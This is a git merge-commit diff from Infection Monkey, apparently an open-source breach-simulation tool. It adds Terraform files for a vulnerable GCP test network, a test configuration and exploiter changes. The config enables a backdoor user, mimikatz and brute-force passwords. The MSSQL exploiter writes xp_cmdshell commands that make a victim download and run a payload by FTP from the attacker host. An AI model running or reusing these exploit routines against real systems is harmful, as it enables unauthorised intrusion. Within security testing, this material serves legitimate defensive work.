Merge branch 'develop' into master

This commit is contained in:
Shay Nehmad 2019-04-24 10:46:11 +03:00 committed by GitHub
commit 08a7b1f91f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
59 changed files with 3067 additions and 139 deletions

15
.gitignore vendored
View File

@ -68,3 +68,18 @@ bin
/monkey/monkey_island/cc/server.crt /monkey/monkey_island/cc/server.crt
/monkey/monkey_island/cc/server.csr /monkey/monkey_island/cc/server.csr
/monkey/monkey_island/cc/ui/node_modules/ /monkey/monkey_island/cc/ui/node_modules/
# User files
/monkey/monkey_island/cc/userUploads
# MonkeyZoo
# Network status files
MonkeyZoo/*
# Except
!MonkeyZoo/main.tf
!MonkeyZoo/variables.tf
!MonkeyZoo/README.MD
!MonkeyZoo/config.tf
!MonkeyZoo/MonkeyZooDocs.pdf

View File

@ -0,0 +1,3 @@
# MonkeyZoo
These files are used to deploy Infection Monkey's test network on GCP.<br>
For more information view docs/fullDocs.md

View File

@ -0,0 +1,206 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"`))jU7L(w}",
"3Q=(Ge(+&w]*",
"^NgDvY59~8",
"Ivrrw5zEzs",
"YbS,<tpS.2av"
],
"exploit_user_list": [
"m0nk3y"
]
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.2",
"10.2.2.3",
"10.2.2.4",
"10.2.2.5",
"10.2.2.8",
"10.2.2.9",
"10.2.1.9",
"10.2.1.10",
"10.2.2.11",
"10.2.2.12",
"10.2.2.14",
"10.2.2.15",
"10.2.2.16",
"10.2.2.18",
"10.2.2.19",
"10.2.2.20",
"10.2.2.21",
"10.2.2.23",
"10.2.2.24"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"192.168.56.1:5000",
"158.129.18.132:5000"
],
"current_server": "192.168.56.1:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!",
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"scanner_class": "TcpScanner"
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 60,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"self_delete_in_cleanup": false,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": [
"BackdoorUser"
]
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 30,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 225 KiB

View File

@ -0,0 +1,10 @@
provider "google" {
project = "test-000000"
region = "europe-west3"
zone = "europe-west3-b"
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
}
locals {
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
monkeyzoo_project="guardicore-22050661"
}

View File

@ -0,0 +1,76 @@
resource "google_compute_firewall" "islands-in" {
name = "islands-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "tcp"
ports = ["22", "443", "3389", "5000"]
}
direction = "INGRESS"
priority = "65534"
target_tags = ["island"]
}
resource "google_compute_firewall" "islands-out" {
name = "islands-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "tcp"
}
direction = "EGRESS"
priority = "65534"
target_tags = ["island"]
}
resource "google_compute_firewall" "monkeyzoo-in" {
name = "monkeyzoo-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
priority = "65534"
source_ranges = ["10.2.2.0/24"]
}
resource "google_compute_firewall" "monkeyzoo-out" {
name = "monkeyzoo-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
priority = "65534"
destination_ranges = ["10.2.2.0/24"]
}
resource "google_compute_firewall" "tunneling-in" {
name = "tunneling-in"
network = "${google_compute_network.tunneling.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
source_ranges = ["10.2.1.0/28"]
}
resource "google_compute_firewall" "tunneling-out" {
name = "tunneling-out"
network = "${google_compute_network.tunneling.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
destination_ranges = ["10.2.1.0/28"]
}

View File

@ -0,0 +1,91 @@
//Custom cloud images
data "google_compute_image" "hadoop-2" {
name = "hadoop-2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "hadoop-3" {
name = "hadoop-3"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "elastic-4" {
name = "elastic-4"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "elastic-5" {
name = "elastic-5"
project = "${local.monkeyzoo_project}"
}
/*
data "google_compute_image" "sambacry-6" {
name = "sambacry-6"
}
*/
data "google_compute_image" "shellshock-8" {
name = "shellshock-8"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-9" {
name = "tunneling-9-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-10" {
name = "tunneling-10-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-11" {
name = "sshkeys-11-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-12" {
name = "sshkeys-12-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-14" {
name = "mimikatz-14-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-15" {
name = "mimikatz-15"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mssql-16" {
name = "mssql-16"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-18" {
name = "weblogic-18"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-19" {
name = "weblogic-19-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "smb-20" {
name = "smb-20"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "scan-21" {
name = "scan-21"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "scan-22" {
name = "scan-22"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-23" {
name = "struts2-23"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-24" {
name = "struts-24-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-linux-250" {
name = "island-linux-250"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-windows-251" {
name = "island-windows-251"
project = "${local.monkeyzoo_project}"
}

View File

@ -0,0 +1,431 @@
// Local variables
locals {
default_ubuntu="${google_compute_instance_template.ubuntu16.self_link}"
default_windows="${google_compute_instance_template.windows2016.self_link}"
}
resource "google_compute_network" "monkeyzoo" {
name = "monkeyzoo"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling" {
name = "tunneling"
auto_create_subnetworks = false
}
resource "google_compute_subnetwork" "monkeyzoo-main" {
name = "monkeyzoo-main"
ip_cidr_range = "10.2.2.0/24"
network = "${google_compute_network.monkeyzoo.self_link}"
}
resource "google_compute_subnetwork" "tunneling-main" {
name = "tunneling-main"
ip_cidr_range = "10.2.1.0/28"
network = "${google_compute_network.tunneling.self_link}"
}
resource "google_compute_instance_from_template" "hadoop-2" {
name = "hadoop-2"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.hadoop-2.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.2"
}
// Add required ssh keys for hadoop service and restart it
metadata_startup_script = "[ ! -f /home/vakaris_zilius/.ssh/authorized_keys ] && sudo cat /home/vakaris_zilius/.ssh/id_rsa.pub >> /home/vakaris_zilius/.ssh/authorized_keys && sudo reboot"
}
resource "google_compute_instance_from_template" "hadoop-3" {
name = "hadoop-3"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.hadoop-3.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.3"
}
}
resource "google_compute_instance_from_template" "elastic-4" {
name = "elastic-4"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.elastic-4.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.4"
}
}
resource "google_compute_instance_from_template" "elastic-5" {
name = "elastic-5"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.elastic-5.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.5"
}
}
/* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" {
name = "sambacry-6"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sambacry-6.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.6"
}
}
*/
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" {
name = "sambacry-7"
source_instance_template = "${local.default_ubuntu}"
boot_disk {
initialize_params {
// Add custom image to cloud
image = "ubuntu32"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.7"
}
}
*/
resource "google_compute_instance_from_template" "shellshock-8" {
name = "shellshock-8"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.shellshock-8.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.8"
}
}
resource "google_compute_instance_from_template" "tunneling-9" {
name = "tunneling-9"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-9.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
network_ip="10.2.1.9"
}
network_interface{
subnetwork="monkeyzoo-main"
network_ip="10.2.2.9"
}
}
resource "google_compute_instance_from_template" "tunneling-10" {
name = "tunneling-10"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-10.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
network_ip="10.2.1.10"
}
}
resource "google_compute_instance_from_template" "sshkeys-11" {
name = "sshkeys-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sshkeys-11.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-12" {
name = "sshkeys-12"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sshkeys-12.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.12"
}
}
/*
resource "google_compute_instance_from_template" "rdpgrinder-13" {
name = "rdpgrinder-13"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.rdpgrinder-13.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.13"
}
}
*/
resource "google_compute_instance_from_template" "mimikatz-14" {
name = "mimikatz-14"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mimikatz-14.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.14"
}
}
resource "google_compute_instance_from_template" "mimikatz-15" {
name = "mimikatz-15"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mimikatz-15.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.15"
}
}
resource "google_compute_instance_from_template" "mssql-16" {
name = "mssql-16"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mssql-16.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.16"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
name = "upgrader-17"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.upgrader-17.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.17"
access_config {
// Cheaper, non-premium routing
network_tier = "STANDARD"
}
}
}
*/
resource "google_compute_instance_from_template" "weblogic-18" {
name = "weblogic-18"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.weblogic-18.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.18"
}
}
resource "google_compute_instance_from_template" "weblogic-19" {
name = "weblogic-19"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.weblogic-19.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.19"
}
}
resource "google_compute_instance_from_template" "smb-20" {
name = "smb-20"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.smb-20.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.20"
}
}
resource "google_compute_instance_from_template" "scan-21" {
name = "scan-21"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.scan-21.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.21"
}
}
resource "google_compute_instance_from_template" "scan-22" {
name = "scan-22"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.scan-22.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.22"
}
}
resource "google_compute_instance_from_template" "struts2-23" {
name = "struts2-23"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.struts2-23.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.23"
}
}
resource "google_compute_instance_from_template" "struts2-24" {
name = "struts2-24"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.struts2-24.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.24"
}
}
resource "google_compute_instance_from_template" "island-linux-250" {
name = "island-linux-250"
machine_type = "n1-standard-2"
tags = ["island", "linux", "ubuntu16"]
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.island-linux-250.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.250"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
}
resource "google_compute_instance_from_template" "island-windows-251" {
name = "island-windows-251"
machine_type = "n1-standard-2"
tags = ["island", "windows", "windowsserver2016"]
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.island-windows-251.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.251"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
}

View File

@ -0,0 +1,45 @@
resource "google_compute_instance_template" "ubuntu16" {
name = "ubuntu16"
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
tags = ["test-machine", "ubuntu16", "linux"]
machine_type = "n1-standard-1"
can_ip_forward = false
disk {
source_image = "ubuntu-os-cloud/ubuntu-1604-lts"
}
network_interface {
subnetwork="monkeyzoo-main"
access_config {
// Cheaper, non-premium routing
network_tier = "STANDARD"
}
}
service_account {
email ="${local.service_account_email}"
scopes=["cloud-platform"]
}
}
resource "google_compute_instance_template" "windows2016" {
name = "windows2016"
description = "Creates windows 2016 core servers at europe-west3-a."
tags = ["test-machine", "windowsserver2016", "windows"]
machine_type = "n1-standard-1"
can_ip_forward = false
disk {
source_image = "windows-cloud/windows-2016"
}
network_interface {
subnetwork="monkeyzoo-main"
}
service_account {
email="${local.service_account_email}"
scopes=["cloud-platform"]
}
}

View File

@ -0,0 +1,10 @@
from enum import Enum
class ScanStatus(Enum):
# Technique wasn't scanned
UNSCANNED = 0
# Technique was attempted/scanned
SCANNED = 1
# Technique was attempted and succeeded
USED = 2

View File

@ -0,0 +1,7 @@
from enum import Enum
class ExploitType(Enum):
VULNERABILITY = 1
OTHER = 8
BRUTE_FORCE = 9

View File

@ -161,6 +161,10 @@ class Configuration(object):
keep_tunnel_open_time = 60 keep_tunnel_open_time = 60
# Monkey files directories
monkey_dir_linux = '/tmp/monkey_dir'
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
########################### ###########################
# scanners config # scanners config
########################### ###########################
@ -267,6 +271,10 @@ class Configuration(object):
extract_azure_creds = True extract_azure_creds = True
post_breach_actions = [] post_breach_actions = []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
WormConfiguration = Configuration() WormConfiguration = Configuration()

View File

@ -8,7 +8,7 @@
], ],
"keep_tunnel_open_time": 60, "keep_tunnel_open_time": 60,
"subnet_scan_list": [ "subnet_scan_list": [
], ],
"inaccessible_subnets": [], "inaccessible_subnets": [],
"blocked_ips": [], "blocked_ips": [],
@ -28,6 +28,9 @@
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir',
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
"kill_file_path_linux": "/var/run/monkey.not", "kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not", "kill_file_path_windows": "%windir%\\monkey.not",
@ -98,4 +101,8 @@
"victims_max_exploit": 7, "victims_max_exploit": 7,
"victims_max_find": 30, "victims_max_find": 30,
"post_breach_actions" : [] "post_breach_actions" : []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
} }

View File

@ -1,5 +1,6 @@
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod
import infection_monkey.config import infection_monkey.config
from common.utils.exploit_enum import ExploitType
__author__ = 'itamar' __author__ = 'itamar'
@ -9,6 +10,9 @@ class HostExploiter(object):
_TARGET_OS_TYPE = [] _TARGET_OS_TYPE = []
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
def __init__(self, host): def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {} self._exploit_info = {}

View File

@ -8,7 +8,8 @@ import json
import logging import logging
import requests import requests
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
import re import re
@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE):
def exploit(self, url, command): def exploit(self, url, command):
command = re.sub(r"\\", r"\\\\\\\\", command) command = re.sub(r"\\", r"\\\\\\\\", command)
payload = self.JAVA_CMD % command payload = self.JAVA_CMD % command
response = requests.get(url, data=payload) try:
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
except requests.ReadTimeout:
LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.")
return False
result = self.get_results(response) result = self.get_results(response)
if not result: if not result:
return False return False
@ -79,4 +84,4 @@ class ElasticGroovyExploiter(WebRCE):
return False return False
except Exception as e: except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e) LOG.error("Host's exploitability check failed due to: %s" % e)
return False return False

View File

@ -1,11 +1,10 @@
import os import os
import platform
from os import path
import logging import logging
import pymssql import pymssql
from infection_monkey.exploit import HostExploiter, mssqlexec_utils from infection_monkey.exploit import HostExploiter, mssqlexec_utils
from common.utils.exploit_enum import ExploitType
__author__ = 'Maor Rayzin' __author__ = 'Maor Rayzin'
@ -15,10 +14,11 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter): class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15 LOGIN_TIMEOUT = 15
SQL_DEFAULT_TCP_PORT = '1433' SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat') DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat' DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
def __init__(self, host): def __init__(self, host):
super(MSSQLExploiter, self).__init__(host) super(MSSQLExploiter, self).__init__(host)
@ -60,7 +60,6 @@ class MSSQLExploiter(HostExploiter):
return False return False
def handle_payload(self, cursor, payload): def handle_payload(self, cursor, payload):
""" """
Handles the process of payload sending and execution, prepares the attack and details. Handles the process of payload sending and execution, prepares the attack and details.
@ -72,7 +71,7 @@ class MSSQLExploiter(HostExploiter):
True or False depends on process success True or False depends on process success
""" """
chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) chosen_attack = self.attacks_list[0](payload, cursor, self.host)
if chosen_attack.send_payload(): if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))

View File

@ -8,6 +8,7 @@ from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer from pyftpdlib.servers import FTPServer
from time import sleep
__author__ = 'Maor Rayzin' __author__ = 'Maor Rayzin'
@ -17,7 +18,8 @@ FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = '' FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute' FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force' FTP_SERVER_PASSWORD = 'force'
FTP_WORKING_DIR = '.' FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
FTP_WORK_DIR_LINUX = '/tmp/'
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -30,37 +32,29 @@ class FTP(object):
user (str): User for FTP server auth user (str): User for FTP server auth
password (str): Password for FTP server auth password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on. working_dir (str): The local working dir to init the ftp server on.
""" """
def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
working_dir=FTP_WORKING_DIR):
"""Look at class level docstring.""" """Look at class level docstring."""
self.dst_ip = host.ip_addr
self.user = user self.user = user
self.password = password self.password = password
self.working_dir = working_dir self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, def run_server(self):
working_dir=FTP_WORKING_DIR):
""" Configures and runs the ftp server to listen forever until stopped. """ Configures and runs the ftp server to listen forever until stopped.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
""" """
# Defining an authorizer and configuring the ftp user # Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer() authorizer = DummyAuthorizer()
authorizer.add_user(user, password, working_dir, perm='elradfmw') authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
# Normal ftp handler # Normal ftp handler
handler = FTPHandler handler = FTPHandler
handler.authorizer = authorizer handler.authorizer = authorizer
address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler) self.server = FTPServer(address, handler)
@ -100,14 +94,15 @@ class CmdShellAttack(AttackHost):
Args: Args:
payload_path (str): The local path of the payload file payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
host (model.host.VictimHost): Host this attack is going to target
""" """
def __init__(self, payload_path, cursor, dst_ip_address): def __init__(self, payload_path, cursor, host):
super(CmdShellAttack, self).__init__(payload_path) super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server() self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
self.cursor = cursor self.cursor = cursor
self.attacker_ip = get_interface_to_target(dst_ip_address) self.attacker_ip = get_interface_to_target(host.ip_addr)
def send_payload(self): def send_payload(self):
""" """
@ -121,7 +116,6 @@ class CmdShellAttack(AttackHost):
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path) .format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
@ -129,11 +123,11 @@ class CmdShellAttack(AttackHost):
# Checking to see if ftp server is up # Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server: if self.ftp_server_p and self.ftp_server:
try: try:
# Running the cmd on remote host # Running the cmd on remote host
for cmd in shellcmds: for cmd in shellcmds:
self.cursor.execute(cmd) self.cursor.execute(cmd)
sleep(0.5)
except Exception as e: except Exception as e:
